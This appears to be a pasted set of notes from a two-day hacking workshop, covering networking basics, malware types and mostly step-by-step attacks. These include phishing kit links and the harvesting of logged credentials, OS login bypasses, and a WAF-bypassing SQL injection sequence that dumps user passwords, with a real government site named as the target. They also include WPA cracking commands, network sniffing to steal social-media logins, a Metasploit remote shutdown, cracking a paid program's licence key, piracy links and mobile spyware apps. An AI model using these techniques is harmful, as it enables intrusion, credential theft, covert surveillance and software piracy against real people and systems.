· 9 years ago · Jun 01, 2017, 02:26 PM
1fb.com/rahultyagiofficialpage
2instagram.com/iamrahultyagi
3twitter.com/rahultyagihacks
4
5
6
7Day 1 - LPU
8Introduction to Cyber Security
9Cyber Security is a part of IT eco system of an private organisation , Govt agencies and individual lifes.
10
11Threats for Banking Sectors
12-> Ransomwares
13-> DDOS Attacks
14-> Social Engineering Attacks
15-> Web Application Attacks
16-> SQL Injection
17
18
19Threats to the GOvt.
20-> National Security
21-> Critical Infrastructure
22
23Privacy to Citizens
24-> Identity Theft
25-> Critical Information Disclosure in Public
26
27
28
29
30-> For CSE -> Application + Network + Mobile
31-> For ECE -> Next Generation Secure Hardware Code
32-> Mechanical -> Aviation + Automobile
33-> Civil -> Smart cities
34-> Others
35
36Basics of Networking
37-> Network : Collection of devices with a common purpose of exchanging information and sharing perephiral devices known as a network.
38
39LAN MAN WAN PAN
40
41-> IP address : Its like your phone number
42
43Local IP : LAN and MAN
44Total : 255*255*255*255=????
45LAN and MAN
46192.168.1.1
47172.16.1.1
4810.0.0.1
49Windows: cmd -> ipconfig
50Linux/Unix/Mac: -> terminal -> ifconfig
51
52 Connection-specific DNS Suffix . : localdomain
53 Link-local IPv6 Address . . . . . : fe80::c01f:cb7e
54 IPv4 Address. . . . . . . . . . . : 192.168.235.198
55 Subnet Mask . . . . . . . . . . . : 255.255.255.0
56 Default Gateway . . . . . . . . . : 192.168.235.2-> Mobile IP address
57
58
59Global IP : IP address given by the ISP to connect to the world.
60
61whatismyip.com
62
63-> Automated IP : Hotspot and Router Network
64
65
66
67-> Know Your IP Local and Global
68-> Privacy on Internet
69-> Secure Communication
70-> Secure Communication : Proxy and VPNs
71Web Based Proxy: WHen you use Website to change ur IP address.
72
73www.hidemyass.com
74www.kproxy.com
75www.ninjaproxy.com
76
77and so on...
78
79Standalone Proxy Servers
80When u use the application softwares to change the IP address by going to the non traditional port for the communication.
81
82Filters : Port 80,8080 or 443
83Bypass: Application-> 9999, 7777, or etc
84
85Ultra Surf 1.44MB
86Hotspot security shield
87Download: https://ultrasurf.us/
88
89VPNs:
90-> LPU VPN
91-> ProXPN
92-> TOR Network
93Watch Here : https://www.youtube.com/watch?v=DkEqWGF3cvg
94
95Cryptography and Steganography
96Cryptography takes care of two types of data.
971. residing data 2. Transit data
98
99Steganography : Where the goal of teh cryptography is to scrambled the data and information from the third part here the goal of the steganography is to HIDE the data from the third party.
100
101
102
103
104
105
106
107Information Gathering and Cyber Crime Tackling
108-> Email Tracing : Identifying Origin of Email
109Fake Emails:
110-> Email Websites : ekmei.cz
111-> Own PHP EMail Script for Fake Emails: github
112-> People Search + Information Gathering of People
113com.lullar.com --> People Email Searching
114-> jantakhoj.com : Gathering Intelectual information about any one any where.
115
116
117
118-> Shutting Down Illegal Websites and Blogs
119Information Gathering about website which is not available on the website.
120-> lpu.in
121whois.domaintools.com
122
123Email to : abuse@registrar.schlund.info
124Subject: Report Abuse to Domain ID: D425500000000413781-AGRS
125Body: Sir this website is hosting illegal content bla bla bla and infinity bla.
126
127Regards
128Bla Bla Brother
129
130
131
132-> IP address Tracing and Grabbing of Criminal
133-> www.whatstheirip.com
134-> www.fuglekos.com/ip-grabber/
135
136Link: https://goo.gl/UBr6wD
137IP address: 107.167.108.173
138iplocation.net : Find ISP Behind the IP address.
139
140-> Case Study : Jaipur College Confession Page - 2013
141
142Malwares
143-> Types of Malwares
144Virus : A code which infects systems and make them unstable in working.
145PS: A true virus cannot spread from one computer to another computer without human assitance.
146Worms : It can spread from one place to another without human assistance.
147
148Trojans : AKA RATs(Remote Accessing Tools) used to infect systems and then control overall functionaly of the system remotely from any where in the world.
149
150
151Adwares : malwares designed to trick users to click on ads and then generate money from clicks.
152- To get RID of these attacks get UBlock plugin in mozilla firefox.
153
154Ransomwares : Once infect your computer then encrypts the data with minimum 1024 bit encryption and then ask for money to get it back.
155
156Types:
157Tricky ransomwares : Children
158Direct ransomwares : Private Sector
159
160
161
162Spywares : Who spy and steal credentials like username password,credit card details and so on like chat and then black mail the person.
163
164
165Rootkits : Infects the ROm level of the os hence no one can detect it.
166
167
168Botnets : Millions of computers got infected by the criminal and they use it for teh DDOS attack.
169
170-> Basic Virus Code in Batch Scripting
171
172-> Trojans
173-> Types of Trojans
174Download: https://ufile.io/b07a1
175
176Protection from Malwares
177-----------------------
1781. Viruses and Worms
179-> USB Disk Security
1802. No Virus thanks exe radar pro
181
182
183Cyber Forensics
184-> Recovering data From HDD, Memory card, Pen Drives, Portabable HDD
185-> Easus data Recovery professional
186Download: https://ufile.io/cce751
187
1881GB Pendrive: MB : 900MB
189Index Data Size
1901010 setup.exe 100MB
1911111 Movie720P.mp4 700MB
192
193
194-> Stellar Data Recovery: Data Recovery Software - Law Enforcement and Professional Nehru Place recovery Softwares
195
196System Hacking: Bypassing Login of Windows/ Linux/ Mac OS
197Linux :Bypassing Kali Linux Password
198Step 1: Select Recovery MODe Press E
199Step 2: Change ro to rw and add init=/bin/bash at the end of line and Press F10
200Step 3: Reset password by typing passwd root and press enter
201Step 4: Type new password and restart the system
202
203Bypassing Ubuntu System Password
204Step 1: Go to Safe mode
205Step 2: Recover Mode
206Step 3: Select the second last option from the list i.e SHELL
207Step 4: type passwd root
208Step 6: Give the new password and confirm password and restart the machine.
209Step 7: Fill the new password and enjoy :) .
210
211
212Windows: Cracking Windows Login Credentials
2130-----------------------------------------0
214
215Windows Stores its password in hash format in a file known as SAM(Security Accounts Manager).
216
217C:/windows/system32/config/sam
218
219Active Password Changer
220
221Step 1: Hirenboot CD bootable
222Step 2: Boot it and select Boot into AERO Mode
223Step 3: Select Hiren BOOT CD Tools
224Step 4: Select 3rd option password changer
225Step 5: Select ACTIVE PASSWORD changer and remove ur hands from keypad.
226Step 6: Select 2nd option ms SAM file
227Step 7: Select the account which you want to reset
228Step 8: Change the password
229Step 9: Restart
230Step 10: No password is there Cheers!!! :)
231
232
233Day 2
234-----
235Email Hacking: Email hacking is a method or technique in which we trick the user with social engineering to enter his/her credentials mainly userid and password and then login into the account.
236
237There are many ways through which you can attack any email service.
2381. Bad Passwords
239->phone numbers -> 45%
240- char : rahul
241- numeric: 93333333
242- special:
243- complex: R@Hu7
244- Dictionary based Password: chair, donkey,temple,punjab
245- Pass Phrases aka Robust Password
246- *iG3sImG*
247
2482. Phishing : Its a technique in which we make a fake clone page of any login panel and then trick the user to fill the details inside it , its not only related to passwords , these days criminals directly get credit card details and so on which can make money for them directly.
249
2501. Simple Phishing
2512. Spear Phishing
2523. IDN Homograph Phishing
2534. Vishing
2545. Smishing
255
256
257Phishing
258--------
2591. Gmail Fake Page
2602. PHP Script
2613. Logs.txt
262
263Making Computer As Server: XAMPP Server
264Download: apachefriends.org
265
266C:/xampp/htdocs/gmail
267Download Gmail: https://pastebin.com/XCn5WB9q
268Nokia.php: https://pastebin.com/QJ4pEUye
269
270email=rahul@gmail.com
271password=12345
272GET Method
273
274
275IDN Homograph Attack
276--------------------
277https://en.wikipedia.org/wiki/IDN_homograph_attack#Cyrillic
278"Deepika padukon and other using russian p"
279
2802. Keyloggers
281-> Local Keylogger: Family Keylogger 0.22MB
282Download: http://www.spyarsenal.com/download.html
283Home Work-> Remote Keyloggers: Ardamax Keylogger - Paid
284
285Always use two step verification in gmail.
286
287Web Application Hacking and Security
288------------------------------------
289OWASP Top 10 Attacks
290 A1 Injection.
291 A2 Broken Authentication and Session Management.
292 A3 Cross-Site Scripting (XSS)
293 A4 Insecure Direct Object References.
294 A5 Security Misconfiguration.
295 A6 Sensitive Data Exposure.
296 A7 Missing Function Level Access Control.
297 A8 Cross-Site Request Forgery (CSRF)
298 A9 Unvalidated Redirects and Forwards
299 A10 Using Component with KNown Vulnerabilities
300
301Google Dorks
302------------
303search for required query of the sql in google "search google for syntax"
304
305Injections: SQL Injection
306-------------------------
307Webiste: Collection of webpages known as website.
308
309Static Websites: When website is designed in pure HTML and having no database attach to it then we can say its a pure static site mainly in read only mode.
310
311
312Dynamic Websites: When website carry so many user interaction points from where user can send the data or information inside the website with teh help of database connectivity we can say this is a dynamic website.
313
314For Example: FB and Gmail.com etc.
315
316Attacking Websites from Google Dorks
317--------------------------------------
318Getting the Critical Information Holding databases from Google.
319Title : Blue
320URL : Green
321Content : Black
322
323Every website take care of the dump of the SQL file as a backup everyday.
324
325SQL Injection: When we send malicious sql code to the website and try to execute in teh database for any desired output.
326
327
328username=?
329password=?
330 Login
331
332select * from users where username='?''or'1'='1 and password='?''or'1'='1
333
334'or'1'='1
335
336How to attack and test security for webistes which are protected from Simple SQL Injection and Also Backed up by Web Application Firewalls Designed to protect from hackers.
337
338Target : target.com (Example)
339Attack Auditing: Advance SQL Injection with WAF Bypassing
340
341Step 1: multan.gov.pk . FInd any GET method in the URL of the website.
342GET METHOD : .php?id=10
343POST METHOD : .php
344
345Step 2: Check the validation and Exception Handling of the website URL
346target.com/files.php?id=1'
347
348Step 3: Check the total number of Columns are there except ID.
349target.com/files.php?id=1 order by 1--+
350
351Step 4: Dump the structure of the two columns on teh right handside.
352target.com/files.php?id=1 union select 1,2--+
353
354Attack 1 to Bypass : Upper Lower Case Injection
355UnIoN sElEcT
356target.com/files.php?id=1 /*!UnIoN*/+/*!sElEcT*/ 1,2--+
357
358Attack 2
359--------
360Inline Execution Comments
361/*UnIoN*/+/*!sElEcT*/
362
363Attack 3
364--------
365Version Based Inline Executable Comments
366MY-SQL VERSIONS
3675.00.00 When We type in URL : 50000
3684.00.00 When We type in URL : 40000
3693.00.00 When We type in URL : 30000
3702.00.00 When We type in URL : 20000
3711.00.00 When We type in URL : 10000
372
373
374target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,database()--+
375
376
377Database --> Tables -> Columns/ROws -> data
378
379Get the Tables
380
381schema: In the database schema holds the responsibility to take care of the entire structure of the database.
382
383Information of all the tables i.e Index
384Information of all the columns i.e Index
385
386Table: information_schema.tables
387Columns: information_schema.columns
388
389target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,/*!table_name*/ /*!from*/ /*!information_schema.tables*/--+
390
391
392Target Table: users
393
394Get the columns of the users table
395target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,/*!50000GrOuP_cOnCaT(column_name)*/ /*!50000from*/ /*!50000information_schema.columns*/ /*!50000where*/ /*!50000table_name='users'*/--+
396
397
398Get the login and password
399target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,password from users--+
400
401
402Security Tips for Developers
403------------------------------
4041. Always use Escape Character Validation at client side and server side.
4052. Do not use GET methods on requests in website
4063. Always use stored procedures
4074. Never accept special character in the login fields or any other fields of the website.
4085. Do see OWASP TOP 10 attacks security gudielines before starting a new development project. Via owasp.org
409
410Wifi Hacking and Security
411-------------------------
412WiFI stands for Wireless Fidelity. Works on 802.11a protocol onwards.
413
414Security
415--------
416WEP , WPA and WPA-2 PSK Authentication
417
418WEP stands for Wired Equivalent Privacy. It is 802.11's first hardware form of security where the user and WAP are configured with an encryption key of either 64 bits or 128 bits in HEX. It works in this way that when the user attempts to authenticate, the AP issues a random challenge. The user then returns the challenge, encrypted with the key and the AP decrypts this challenge and if it matches the original the client is authenticated otherwise not. The problem with WEP is that the key is static, which is vulnerable, means by using some tools a hacker could use reverse-engineering to extract the encryption key. This process affects the transmission speed.
419
420WPA stands for WiFi Protected Access. It builds upon WEP, to make it more secure by adding extra security mechanism and algorithms to stop unauthorized access. WPA delivers a level of security way beyond anything that WEP can offer. WiFi compliance ensures interoperability between different manufacturer’s equipment. WPA bridges the gap between WEP and 802.11i networks, and has the advantage that the firmware in older equipment may be upgradeable. It's a new security standard adopted by the WiFi Alliance consortium.
421
422WPA2 is similar to WPA, except one thing that it add extra encryption called AES-CCMP. The primary difference between WPA and WPA2 is that WPA2 uses a more advanced encryption technique called AES (Advanced Encryption Standard), allowing for compliance with FIPS140-2 government security requirements. We prefer WPA2 because it has more than three protection levels, making it nearly impossible for computer guru hackers to break the encryption. AES is so good that it blocks statistical analysis of the cipher text. WPA2 is based upon the Institute for Electrical and Electronics Engineers’ (IEEE) 802.11i amendment to the 802.11 standard, which was modified on July 29, 2004.
423
424
425To Attack and Test the Wifi Security
426-----------------------------------
4271. Kali Linux OS www.kali.org 2.0 onwards
428
4292.TPLINK Exeternal Wifi Adapter:http://dl.flipkart.com/dl/tp-link-tl-wn722n-150mbps-high-gain-wireless-usb-adapter/p/itmdzusgbtfhhadq?pid=USBDZUSDGUZBGBXR&affid=officialra
430
4313.airmon-ng : This application is used to detect the hardware of the card.
432
4334. airodump-ng : This will help you to select and target a particular wireless hotspot which we want to hack.
434
4355. aircrack-ng : After capturing the KEY of wifi we have to decrypt it or crack it with the help of aircrack-ng.
436
437
438rahul-->!@#$%
439
440!@#$% -> X Decrypt this into Rahul gain.
441
442Good News
443We know the algorithm which convert text into hash.
444
445!@#$% !@#$% <--rahul<-- Dictionary 70%
446 pankaj
447 gaurav
448 hello
449 rahul
450
451
452Path : usr/share/wordlists/rockyou.txt.gz
453
454
455
456 steps for hacking wifi with kali
457
458steps -> to check if wifi is able for hacking , , open "airmon-ng" in terminal
459 -> type "airmon-ng start wlan0"
460 -> kill if some PID s are giving problems
461 -> "kill 2798 " or error you have
462 -> "clear" to clear the screen
463 -> type "airodump-ng mon 0 " to dump files
464 -> copy mac id and channle number an type "airodump-ng --bssid 'enter mac id' -c 'channle number' -w key mon0 "
465 -> then press ctrl +z to stop capturing and find key in home>key-01.cap
466 -> the key will be in one way algorithm
467 -> open dictionary at"usr/share/wordlists/rockyou.txt.gz"
468 -> type this to extract rockyou.txt.gz "sgunzip rockyou.txt.gz" but select file first from desktop or wherever the file is
469 -> type to compare "aircrack-ng key-01.cap -w rockyou.txt"
470 -> password will be show and wifi handshake should must come in the beginning where we are capturing data.
471
472 steps for creating fake hotspot
473
474steps -> start ettercap-G
475 -> start unified sniffing
476 -> select your wifi
477 -> select hosts
478 -> scan for hosts
479 -> select host list
480 -> select adapter as target one and other as target 2
481 -> go to mitm and opnremote connectoin >sniff
482 -> start>start snifffing
483 -> urlsnarf -1 wlan0
484 -> start driftnet
485 to hack insta use
486
487 -> bettercap
488 -> bettercap -I wlan0 --proxy -P POST
489
490 using (metasploit) to shut down other pc on same network remotely
491steps -> msfconsole
492 -> search maxchannel
493 -> use "auxilll...........lids"
494 -> show options
495 -> nmap 'ip' to check if any of the victims port is open */
496 -> set RHOST 'ip'
497 -> show options
498 -> exploit
499Game Hacking
500------------
501Game Download: https://ufile.io/926c6
502Cheat Engine Download: https://ufile.io/c2c932
503
504Reverse Engineering: Cracking Applications
505------------------------------------------
506software cracking
507use windows xp 32 bit
508Software : olly dbg
509Target : Perfect Keylogger
510Price: $49 Approx
511Download: http://www.blazingtools.com/downloads.html
512
513Steps
514
515 ->start olly dbg
516 ->close all windows
517 ->file>open>exe file of application
518 ->assmbly code of exe will show up
519 ->view>executable module or alt+e
520 ->look for name of app or something related to it and double click on it
521 ->right click>search for all refrence text strings
522 ->search for messsage ,which application shows up at the beginning to enter the code
523 ->double click on line or message
524 ->a black line is coming on left <it means a function . and if the message is at the end , go with the black line to the top to find the stuff in function
525 ->now put a break ppoint in starting of this function using f2
526 ->a red line shows a break line is applied
527 -> now run the program using play.
528 ->now enter your name and key 'fake one'
529 ->red line will change into black and application will pause .
530 -> execute the line one by one using f8 and keep a look at the output in console window
531 ->then two keys will appear in lower outputs and first one will be ours and second one will be the original one ,
532 ->now copy the new key , exit the application
533 ->open app , enter same username you used earlier and paste the copied key.
534
535
536Mobile Hacking
537--------------
5381. Android Deleted Whatsapp,Skype Chat Recovery | Bypassing Lock Screen
539Download:https://tinyurl.com/htm42kd
540Crack: http://www94.zippyshare.com/v/4S8Dw8VW/file.html
541LUCIDROID
542airdroid
543spyhuman"looks nice and is free"
544TruthSPY
545Spy2Mobile
546MaxSpy
547Overcraft
548
5492. Rooting : King Root.apk
550 Jailbreaking : Pangu and Taiji Jailbreak